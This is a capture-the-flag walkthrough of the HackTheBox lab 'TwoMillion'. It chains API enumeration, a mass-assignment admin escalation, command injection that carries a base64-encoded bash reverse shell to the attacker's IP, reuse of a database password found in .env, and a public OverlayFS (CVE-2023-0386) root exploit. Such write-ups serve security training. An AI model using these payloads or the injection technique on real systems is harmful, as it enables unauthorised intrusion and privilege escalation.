TwoMillion

TwoMillion is a easy HTB lab that focuses on API exposure, command injection and privilege escalation. In this walkthrough, we will go over the process of exploiting the services and gaining access to the root user.

Recon

The first step in any penetration testing process is reconnaissance. We can start by running nmap scan on the target machine to identify open ports and services.

[★]$ sudo nmap -p- -sV -sC 10.129.151.100

Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-26 06:46 GMT
Nmap scan report for 10.129.151.100
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3eea454bc5d16d6fe2d4d13b0a3da94f (ECDSA)
|_  256 64cc75de4ae6a5b473eb3f1bcfb4e394 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.08 seconds

Adding new domain discovered on the port 80 2million.htb to /etc/hosts.

Enumerating the website diffferent paths.

[★]$ gobuster dir -u http://2million.htb/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-medium-directories.txt --wildcard switch --exclude-length 162

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://2million.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/useful/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] Exclude Length:          162
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/12/26 06:55:03 Starting gobuster in directory enumeration mode
===============================================================
/logout               (Status: 302) [Size: 0] [--> /]
/register             (Status: 200) [Size: 4527]
/login                (Status: 200) [Size: 3704]
/api                  (Status: 401) [Size: 0]
/home                 (Status: 302) [Size: 0] [--> /]
/404                  (Status: 200) [Size: 1674]
/invite               (Status: 200) [Size: 3859]
Progress: 23928 / 30001 (79.76%)                    [ERROR] 2023/12/26 06:56:01 [!] parse "http://2million.htb/error\x1f_log": net/url: invalid control character in URL

===============================================================
2023/12/26 06:56:17 Finished
===============================================================

Opening page /invite has following javascript http://2million.htb/js/inviteapi.min.js which has the API names.

Checking the code of the javascript.

function verifyInviteCode(code) {
    var formData = {
        "code": code
    };
    $.ajax({
        type: "POST",
        dataType: "json",
        data: formData,
        url: '/api/v1/invite/verify',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        dataType: "json",
        url: '/api/v1/invite/how/to/generate',
        success: function (response) {
            console.log(response)
        },
        error: function (response) {
            console.log(response)
        }
    })
}

Attack

In order to generate the invite code, we need to make a POST request to /api/v1/invite/generate

$.ajax({
    type: "POST",
    dataType: "json",
    url: '/api/v1/invite/generate',
    success: function (response) {
        console.log(response)
    },
    error: function (response) {
        console.log(response)
    }
})

Invite Code: echo "NjNGNDctTEIyRFctR0RLS1otNThXUzE=" | base64 -d # 63F47-LB2DW-GDKKZ-58WS1 We can creat dummy credentails on the website using the invite code : test@test.com:test

After that we can get the list of all API by making GET request to /api/v1.

{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

Making our email test@test.com admin using following payload:

PUT /api/v1/admin/settings/update HTTP/1.1
Host: 2million.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101 Firefox/102.0
Content-Type: application/json
Cookie: PHPSESSID=hve5pgt9avmfc3r88bghno7ot5
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Content-Length: 48

{
    "email":  "test@test.com",
    "is_admin": 1
}

OR we can use the following javascript code:

$.ajax({
    type: "PUT",
    data: JSON.stringify(e),
    dataType: "appjson",
    contentType: "application/json",
    url: '/api/v1/admin/settings/update',
    success: function (response) {
        console.log(response)
    },
    error: function (response) {
        console.log(response)
    }
})

Trying to get the foothold and shell on the server.

$.ajax({
    type: "POST",
    data: JSON.stringify({"username": "test; echo \"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjExOS80NDQ0IDA+JjE=\" | base64 -d | bash"}),
    dataType: "appjson",
    contentType: "application/json",
    url: '/api/v1/admin/vpn/generate',
    success: function (response) {
        console.log(response)
    },
    error: function (response) {
        console.log(response)
    }
})

# terminal 2
$nc -lvnp 4444

www-data@2million:~/html$id
www-data

User

Enumeration for user password.

www-data@2million:~/html$ ls -la
total 56
drwxr-xr-x 10 root root 4096 Dec 27 02:10 .
drwxr-xr-x  3 root root 4096 Jun  6  2023 ..
-rw-r--r--  1 root root   87 Jun  2  2023 .env
-rw-r--r--  1 root root 1237 Jun  2  2023 Database.php
-rw-r--r--  1 root root 2787 Jun  2  2023 Router.php
drwxr-xr-x  5 root root 4096 Dec 27 02:10 VPN
drwxr-xr-x  2 root root 4096 Jun  6  2023 assets
drwxr-xr-x  2 root root 4096 Jun  6  2023 controllers
drwxr-xr-x  5 root root 4096 Jun  6  2023 css
drwxr-xr-x  2 root root 4096 Jun  6  2023 fonts
drwxr-xr-x  2 root root 4096 Jun  6  2023 images
-rw-r--r--  1 root root 2692 Jun  2  2023 index.php
drwxr-xr-x  3 root root 4096 Jun  6  2023 js
drwxr-xr-x  2 root root 4096 Jun  6  2023 views

Checking the environment file:

www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=Super*********123

Tryng to login with the DB_PASSWORD as shell admin user:

[★]$ ssh admin@2million.htb
Super*********123
admin@2million:~$id
admin

Getting the user flag:

admin@2million:~$ cat user.txt
~~~~~~~~~~~~FLAG~~~~~~~~~~~~

Privilege Escalation

Enumerating the machine using the linpeas.sh script. Got the following interesting information:

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80
...
╔══════════╣ Mails (limit 50)
      271      4 -rw-r--r--   1 admin    admin         540 Jun  2  2023 /var/mail/admin
      271      4 -rw-r--r--   1 admin    admin         540 Jun  2  2023 /var/spool/mail/admin

Checking the admin mails:

admin@2million:~$ cat /var/mail/admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Based on this information, we can search online for public vulnerabilities. Here the POC for exploit - https://github.com/sxlmnwb/CVE-2023-0386

In the first terminal, we would be executing the executable.

admin@2million:~/CVE-2023-0386-master$ make all
admin@2million:~/CVE-2023-0386-master$ ./fuse ./ovlcap/lower ./gc
admin@2million:~/CVE-2023-0386-master$ ./exp

Terminal 2, doing the same:

admin@2million:~/CVE-2023-0386-master$ ./exp
uid:1000 gid:1000
[+] mount success
total 8
drwxrwxr-x 1 root   root     4096 Dec 27 02:49 .
drwxrwxr-x 6 root   root     4096 Dec 27 02:49 ..
-rwsrwxrwx 1 nobody nogroup 16096 Jan  1  1970 file
[+] exploit success!
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@2million:~/CVE-2023-0386-master#

Getting the root flag:

root@2million:~/CVE-2023-0386-master# cat /root/root.txt
~~~~~~~~~~~~FLAG~~~~~~~~~~~~